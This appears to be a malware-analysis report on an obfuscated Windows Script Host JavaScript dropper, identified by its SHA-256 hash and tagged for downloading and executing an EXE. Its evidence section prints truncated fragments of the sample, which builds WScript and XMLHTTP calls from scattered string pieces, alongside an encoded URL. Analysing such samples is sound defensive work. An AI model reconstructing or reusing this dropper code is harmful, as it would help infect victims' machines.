bef7c277ac1fd8c046193d7c1ce6720afce09deb0d0c5248f394be5a572ac193.js
Fragmented WSH counter EXE download executeCounter Dropper URL parameters
SHA-256bef7c277ac1fd8c046193d7c1ce6720afce09deb0d0c5248f394be5a572ac193
MaleculeO₂(C₃As₃)Md
Evidence
1var str="55515D5E17050D0005240C160A0111160B14014A070B095E305E050810051005131305164A070B095E17555E555050515D5452545C545E55"; function ihn() { lfad += ' va'; }; function rhq() { lfad += 'xa.'; }; function iyap() { lfad += 'teO'; }; function jyrg() { lfad += '/co'; }; function udi() { lfad += '1; xa'; }; function pitu() { lfad += ' }; i'; }; function ywrs() { lfad += '{ '; }; function oxbk() { lfad += 'r xa '; }; function gvt() { lfad += '; '; }; function dvd() { lfad += 'li'; }; function pkj() { lfad += 'WScri'; }; function ruv() { lfad += 'eate'; }; function fbri() { lfad += 'L2.X'; }; function blp() { lfad += 'MLHTT'; }; function zvmn() { lfad += 'Stri'; }; function ilrq() { lfad += 'Run'; }; function yfup() { lfad += '= ws'; }; function cqqh() { lfad …
1:869… += 'alse)'; }; function hhk() { lfad += 'size '; }; var lfad = ''; var svq = ''; function dho() { lfad += ' xa'; }; function fpa() { lfad += 't.Cr'; }; function ogee() { lfad += 'b = "'; }; fun …
1:2709… }; function lez() { lfad += '00) '; }; function sbq() { lfad += 'tp:/'; }; function clbj() { lfad += 'ak'; }; function fkck() { lfad += '.org '; }; function cip() { lfad += '<b.l'; }; function okjo( …
1:6495… roi() { lfad += '&rnd='; }; function netq() { lfad += 'MP%'; }; function izz() { lfad += '("WSc'; }; function maf() { lfad += 'str+"'; }; function ibcd() { lfad += ' i'; }; function vvne() { lfad += '; };'; }; function ovex() { lfad += ' var '; }; function ahkm() { lfad += '{ d'; }; function wmdt() { lfad += 'r (v'; }; function fds() { lfad += '=ld;'; }; function mqz() { lfad += 'ode(9 …